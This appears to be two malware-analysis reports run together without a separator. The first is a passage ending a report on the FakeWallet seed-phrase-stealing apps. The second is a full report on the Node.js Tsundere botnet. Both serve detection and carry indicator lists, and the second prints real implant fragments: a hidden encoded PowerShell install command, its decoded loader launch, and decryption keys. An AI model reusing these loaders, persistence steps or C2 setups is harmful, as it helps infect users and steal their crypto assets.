• Resolve symbols dataInit or processX0Parameter from the malicious library
• Hand over control to these newly discovered functions
• Execute the code for the original methods that the wrapper was built to replace

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module

The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points:  two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

• The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
  

  {
  	"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
  	"code": "10001",                                         // special code	"login-url": "hxxps://xxx[.]com",                                              
  	"login-code": "88761"                                                               
  }

• Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
• As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
  • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
  • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
• Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

• MnemonicVerifyScreen, embedded in PortfolioNavigator
• PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

• verify-wallet-status.json tracks the current status and the timestamp of the last update.
• verify-wallet-config.json stores the C2 server configuration the malware is currently using.
• verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Other distribution channels, platforms, and the SparkKitty link

During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims

Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution

According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

• Some infected apps contained SparkKitty modules alongside the FakeWallet code.
• The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
• Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
• Both campaigns specifically target victims’ cryptocurrency assets.

Conclusion

Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

• Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
• Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
• Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.

Indicators of compromise

Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz

Introduction

Tsundere is a new botnet, discovered by our Kaspersky GReAT around mid-2025. We have correlated this threat with previous reports from October 2024 that reveal code similarities, as well as the use of the same C2 retrieval method and wallet. In that instance, the threat actor created malicious Node.js packages and used the Node Package Manager (npm) to deliver the payload. The packages were named similarly to popular packages, employing a technique known as typosquatting. The threat actor targeted libraries such as Puppeteer, Bignum.js, and various cryptocurrency packages, resulting in 287 identified malware packages. This supply chain attack affected Windows, Linux, and macOS users, but it was short-lived, as the packages were removed and the threat actor abandoned this infection method after being detected.

The threat actor resurfaced around July 2025 with a new threat. We have dubbed it the Tsundere bot after its C2 panel. This botnet is currently expanding and poses an active threat to Windows users.

Initial infection

Currently, there is no conclusive evidence on how the Tsundere bot implants are being spread. However, in one documented case, the implant was installed via a Remote Monitoring and Management (RMM) tool, which downloaded a file named pdf.msi from a compromised website. In other instances, the sample names suggest that the implants are being disseminated using the lure of popular Windows games, particularly first-person shooters. The samples found in the wild have names such as “valorant”, “cs2”, or “r6x”, which appear to be attempts to capitalize on the popularity of these games among piracy communities.

Malware implants

According to the C2 panel, there are two distinct formats for spreading the implant: via an MSI installer and via a PowerShell script. Implants are automatically generated by the C2 panel (as described in the Infrastructure section).

MSI installer

The MSI installer was often disguised as a fake installer for popular games and other software to lure new victims. Notably, at the time of our research, it had a very low detection rate.

The installer contains a list of data and JavaScript files that are updated with each new build, as well as the necessary Node.js executables to run these scripts. The following is a list of files included in the sample:

nodejs/B4jHWzJnlABB2B7
nodejs/UYE20NBBzyFhqAQ.js
nodejs/79juqlY2mETeQOc
nodejs/thoJahgqObmWWA2
nodejs/node.exe
nodejs/npm.cmd
nodejs/npx.cmd

The last three files in the list are legitimate Node.js files. They are installed alongside the malicious artifacts in the user’s AppData\Local\nodejs directory.

An examination of the CustomAction table reveals the process by which Windows Installer executes the malware and installs the Tsundere bot:

RunModulesSetup 1058    NodeDir powershell -WindowStyle Hidden -NoLogo -enc JABuAG[...]ACkAOwAiAA==

After Base64 decoding, the command appears as follows:

$nodePath = "$env:LOCALAPPDATA\nodejs\node.exe";
& $nodePath  - e "const { spawn } = require('child_process'); spawn(process.env.LOCALAPPDATA + '\\nodejs\\node.exe', ['B4jHWzJnlABB2B7'], { detached: true, stdio: 'ignore', windowsHide: true, cwd: __dirname }).unref();"

This will execute Node.js code that spawns a new Node.js process, which runs the loader JavaScript code (in this case, B4jHWzJnlABB2B7). The resulting child process runs in the background, remaining hidden from the user.

Loader script

The loader script is responsible for ensuring the correct decryption and execution of the main bot script, which handles npm unpackaging and configuration. Although the loader code, similar to the code for the other JavaScript files, is obfuscated, it can be deobfuscated using open-source tools. Once executed, the loader attempts to locate the unpackaging script and configuration for the Tsundere bot, decrypts them using the AES-256 CBC cryptographic algorithm with a build-specific key and IV, and saves the decrypted files under different filenames.

encScriptPath = 'thoJahgqObmWWA2',
  encConfigPath = '79juqlY2mETeQOc',
  decScript = 'uB39hFJ6YS8L2Fd',
  decConfig = '9s9IxB5AbDj4Pmw',
  keyBase64 = '2l+jfiPEJufKA1bmMTesfxcBmQwFmmamIGM0b4YfkPQ=',
  ivBase64 = 'NxrqwWI+zQB+XL4+I/042A==',
[...]
    const h = path.dirname(encScriptPath),
      i = path.join(h, decScript),
      j = path.join(h, decConfig)
    decryptFile(encScriptPath, i, key, iv)
    decryptFile(encConfigPath, j, key, iv)

The configuration file is a JSON that defines a directory and file structure, as well as file contents, which the malware will recreate. The malware author refers to this file as “config”, but its primary purpose is to package and deploy the Node.js package manager (npm) without requiring manual installation or downloading. The unpackaging script is responsible for recreating this structure, including the node_modules directory with all its libraries, which contains packages necessary for the malware to run.

With the environment now set up, the malware proceeds to install three packages to the node_modules directory using npm:

• ws: a WebSocket networking library
• ethers: a library for communicating with Ethereum
• pm2: a Node.js process management tool

The pm2 package is installed to ensure the Tsundere bot remains active and used to launch the bot. Additionally, pm2 helps achieve persistence on the system by writing to the registry and configuring itself to restart the process upon login.

PowerShell infector

The PowerShell version of the infector operates in a more compact and simplified manner. Instead of utilizing a configuration file and an unpacker — as done with the MSI installer — it downloads the ZIP file node-v18.17.0-win-x64.zip from the official Node.js website nodejs[.]org and extracts it to the AppData\Local\NodeJS directory, ultimately deploying Node.js on the targeted device. The infector then uses the AES-256-CBC algorithm to decrypt two large hexadecimal-encoded variables, which correspond to the bot script and a persistence script. These decrypted files, along with a package.json file are written to the disk. The package.json file contains information about the malicious Node.js package, as well as the necessary libraries to be installed, including the ws and ethers packages. Finally, the infector runs both scripts, starting with the persistence script that is followed by the bot script.

Persistence is achieved through the same mechanism observed in the MSI installer: the script creates a value in the HKCU:\Software\Microsoft\Windows\CurrentVersion\Run registry key that points to itself. It then overwrites itself with a new script that is Base64 decoded. This new script is responsible for ensuring the bot is executed on each login by spawning a new instance of the bot.

Tsundere bot

We will now delve into the Tsundere bot, examining its communication with the command-and-control (C2) server and its primary functionality.

C2 address retrieval

Web3 contracts, also known as smart contracts, are deployed on a blockchain via transactions from a wallet. These contracts can store data in variables, which can be modified by functions defined within the contract. In this case, the Tsundere botnet utilizes the Ethereum blockchain, where a method named setString(string _str) is defined to modify the state variable param1, allowing it to store a string. The string stored in param1 is used by the Tsundere botnet administrators to store new WebSocket C2 servers, which can be rotated at will and are immutable once written to the Ethereum blockchain.

The Tsundere botnet relies on two constant points of reference on the Ethereum blockchain:

• Wallet: 0x73625B6cdFECC81A4899D221C732E1f73e504a32
• Contract: 0xa1b40044EBc2794f207D45143Bd82a1B86156c6b

In order to change the C2 server, the Tsundere botnet makes a transaction to update the state variable with a new address. Below is a transaction made on August 19, 2025, with a value of 0 ETH, which updates the address.

The state variable has a fixed length of 32 bytes, and a string of 24 bytes (see item [2] in the previous image) is stored within it. When this string is converted from hexadecimal to ASCII, it reveals the new WebSocket C2 server address: ws[:]//185.28.119[.]179:1234.

To obtain the C2 address, the bot contacts various public endpoints that provide remote procedure call (RPC) APIs, allowing them to interact with Ethereum blockchain nodes. At the start of the script, the bot calls a function named fetchAndUpdateIP, which iterates through a list of RPC providers. For each provider, it checks the transactions associated with the contract address and wallet owner, and then retrieves the string from the state variable containing the WebSocket address, as previously observed.

The Tsundere bot verifies that the C2 address starts with either ws:// or wss:// to ensure it is a valid WebSocket URL, and then sets the obtained string as the server URL. But before using this new URL, the bot first checks the system locale by retrieving the culture name of the machine to avoid infecting systems in the CIS region. If the system is not in the CIS region, the bot establishes a connection to the server via a WebSocket, setting up the necessary handlers for receiving, sending, and managing connection states, such as errors and closed sockets.

Communication

The communication flow between the client (Tsundere bot) and the server (WebSocket C2) is as follows:

1. The Tsundere bot establishes a WebSocket connection with the retrieved C2 address.
2. An AES key is transmitted immediately after the connection is established.
3. The bot sends an empty string to confirm receipt of the key.
4. The server then sends an IV, enabling the use of encrypted communication from that point on.
   Encryption is required for all subsequent communication.
5. The bot transmits the OS information of the infected machine, including the MAC address, total memory, GPU information, and other details. This information is also used to generate a unique identifier (UUID).
6. The C2 server responds with a JSON object, acknowledging the connection and confirming the bot’s presence.
7. With the connection established, the client and server can exchange information freely.
   1. To maintain the connection, keep-alive messages are sent every minute using ping/pong messages.
   2. The bot sends encrypted responses as part of the ping/pong messages, ensuring continuous communication.

The connections are not authenticated through any additional means, making it possible for a fake client to establish a connection.

As previously mentioned, the client sends an encrypted ping message to the C2 server every minute, which returns a pong message. This ping-pong exchange serves as a mechanism for the C2 panel to maintain a list of currently active bots.

Functionality

The Tsundere bot is designed to allow the C2 server to send dynamic JavaScript code. When the C2 server sends a message with ID=1 to the bot, the message is evaluated as a new function and then executed. The result of this operation is sent back to the server via a custom function named serverSend, which is responsible for transmitting the result as a JSON object, encrypted for secure communication.

The ability to evaluate code makes the Tsundere bot relatively simple, but it also provides flexibility and dynamism, allowing the botnet administrators to adapt it to a wide range of actions.

However, during our observation period, we did not receive any commands or functions from the C2 server, possibly because the newly connected bot needed to be requested by other threat actors through the botnet panel before it could be utilized.

Infrastructure

The Tsundere bot utilizes WebSocket as its primary protocol for establishing connections with the C2 server. As mentioned earlier, at the time of writing, the malware was communicating with the WebSocket server located at 185.28.119[.]179, and our tests indicated that it was responding positively to bot connections.

The following table lists the IP addresses and ports extracted from the provided list of URLs:

IP	Port	First seen (contract update)	ASN
185.28.119[.]179	1234	2025-08-19	AS62005
196.251.72[.]192	1234	2025-08-03	AS401120
103.246.145[.]201	1234	2025-07-14	AS211381
193.24.123[.]68	3011	2025-06-21	AS200593
62.60.226[.]179	3001	2025-05-04	AS214351

Marketplace and control panel

No business is complete without a marketplace, and similarly, no botnet is complete without a control panel. The Tsundere botnet has both a marketplace and a control panel, which are integrated into the same frontend.

The notable aspect of Tsundere’s control panel, dubbed “Tsundere Netto” (version 2.4.4), is that it has an open registration system. Any user who accesses the login form can register and gain access to the panel, which features various tabs:

• Bots: a dashboard displaying the number of bots under the user’s control
• Settings: user settings and administrative functions
• Build: if the user has an active license, they can create new bots using the two previously mentioned methodologies (MSI or PowerShell)
• Market: this is the most interesting aspect of the panel, as it allows users to promote their individual bots and offer various services and functionalities to other threat actors. Each build can create a bot that performs a specific set of actions, which can then be offered to others
• Monero wallet: a wallet service that enables users to make deposits or withdrawals
• Socks proxy: a feature that allows users to utilize their bots as proxies for their traffic

Each build generates a unique build ID, which is embedded in the implant and sent to the C2 server upon infection. This build ID can be linked to the user who created it. According to our research and analysis of other URLs found in the wild, builds are created through the panel and can be downloaded via the URL:

hxxps://idk.1f2e[REDACTED]07a4[.]net/api/builds/{BUILD-ID}.msi.

At the time of writing this, the panel typically has between 90 and 115 bots connected to the C2 server at any given time.

Attribution

Based on the text found in the implants, we can conclude with high confidence that the threat actor behind the Tsundere botnet is likely Russian-speaking. The use of the Russian language in the implants is consistent with previous attacks attributed to the same threat actor.

Furthermore, our analysis suggests a connection between the Tsundere botnet and the 123 Stealer, a C++-based stealer available on the shadow market for $120 per month. This connection is based on the fact that both panels share the same server. Notably, the main domain serves as the frontend for the 123 Stealer panel, while the subdomain “idk.” is used for the Tsundere botnet panel.

By examining the available evidence, we can link both threats to a Russian-speaking threat actor known as “koneko”. Koneko was previously active on a dark web forum, where they promoted the 123 Stealer, as well as other malware, including a backdoor. Although our analysis of the backdoor revealed that it was not directly related to Tsundere, it shared similarities with the Tsundere botnet in that it was written in Node.js and used PowerShell or MSI as infectors. Before the dark web forum was seized and shut down, koneko’s profile featured the title “node malware senior”, further suggesting their expertise in Node.js-based malware.

Conclusion

The Tsundere botnet represents a renewed effort by a presumably identified threat actor to revamp their toolset. The Node.js-based bot is an evolution of an attack discovered in October of last year, and it now features a new strategy and even a new business model. Infections can occur through MSI and PowerShell files, which provides flexibility in terms of disguising installers, using phishing as a point of entry, or integrating with other attack mechanisms, making it an even more formidable threat.

Additionally, the botnet leverages a technique that is gaining popularity: utilizing web3 contracts, also known as “smart contracts”, to host command-and-control (C2) addresses, which enhances the resilience of the botnet infrastructure. The botnet’s possible author, koneko, is also involved in peddling other threats, such as the 123 Stealer, which suggests that the threat is likely to escalate rather than diminish in the coming months. As a result, it is essential to closely monitor this threat and be vigilant for related threats that may emerge in the near future.

Indicators of compromise

More IoCs related to this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

File hashes
235A93C7A4B79135E4D3C220F9313421
760B026EDFE2546798CDC136D0A33834
7E70530BE2BFFCFADEC74DE6DC282357
5CC5381A1B4AC275D221ECC57B85F7C3
AD885646DAEE05159902F32499713008
A7ED440BB7114FAD21ABFA2D4E3790A0
7CF2FD60B6368FBAC5517787AB798EA2
E64527A9FF2CAF0C2D90E2238262B59A
31231FD3F3A88A27B37EC9A23E92EBBC
FFBDE4340FC156089F968A3BD5AA7A57
E7AF0705BA1EE2B6FBF5E619C3B2747E
BFD7642671A5788722D74D62D8647DF9
8D504BA5A434F392CC05EBE0ED42B586
87CE512032A5D1422399566ECE5E24CF
B06845C9586DCC27EDBE387EAAE8853F
DB06453806DACAFDC7135F3B0DEA4A8F

File paths
%APPDATA%\Local\NodeJS

Domains and IPs
ws://185.28.119[.]179:1234
ws://196.251.72[.]192:1234
ws://103.246.145[.]201:1234
ws://193.24.123[.]68:3011
ws://62.60.226[.]179:3001

Cryptocurrency wallets
Note: These are wallets that have changed the C2 address in the smart contract since it was created.
0x73625B6cdFECC81A4899D221C732E1f73e504a32
0x10ca9bE67D03917e9938a7c28601663B191E4413
0xEc99D2C797Db6E0eBD664128EfED9265fBE54579
0xf11Cb0578EA61e2EDB8a4a12c02E3eF26E80fc36
0xdb8e8B0ef3ea1105A6D84b27Fc0bAA9845C66FD7
0x10ca9bE67D03917e9938a7c28601663B191E4413
0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84
0x46b0f9bA6F1fb89eb80347c92c9e91BDF1b9E8CC